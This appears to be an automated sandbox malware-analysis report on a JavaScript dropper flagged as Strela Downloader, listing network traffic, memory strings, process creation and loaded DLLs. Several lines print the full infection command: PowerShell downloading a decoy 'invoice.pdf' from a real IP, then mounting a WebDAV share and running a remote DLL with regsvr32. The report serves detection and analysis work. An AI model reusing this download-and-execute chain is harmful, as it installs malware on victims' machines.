20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.5:50469 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2033215249.0000025C9340B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2094191341.000001E0CD2A3000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2094191341.000001E0CD268000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2094191341.000001E0CD2A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/.Sx
Source: net.exe, 00000007.00000002.2094191341.000001E0CD268000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Q
Source: net.exe, 00000007.00000002.2094191341.000001E0CD2A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/RS
Source: net.exe, 00000007.00000002.2094191341.000001E0CD2A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/nS8
Source: net.exe, 00000007.00000002.2094191341.000001E0CD268000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tems
Source: net.exe, 00000007.00000002.2094191341.000001E0CD2BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/xv
Source: svchost.exe, 00000009.00000002.3313583540.00000286FE40F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2094009666.00000286FE320000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6804, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 467631239147784826.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3536:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zdfdn0bh.axq.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 467631239147784826.js

Virustotal: Detection: 8%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\467631239147784826.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2088 --field-trial-handle=1540,i,12895752821458316218,4304939090939258030,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2088 --field-trial-handle=1540,i,12895752821458316218,4304939090939258030,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
